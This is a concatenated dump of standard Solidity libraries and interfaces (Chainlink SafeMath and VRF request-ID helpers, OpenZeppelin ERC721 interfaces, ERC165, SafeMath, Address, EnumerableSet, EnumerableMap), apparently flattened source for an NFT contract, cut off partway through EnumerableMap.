SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathChainlink { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed(bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce) internal pure returns (uint256) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns 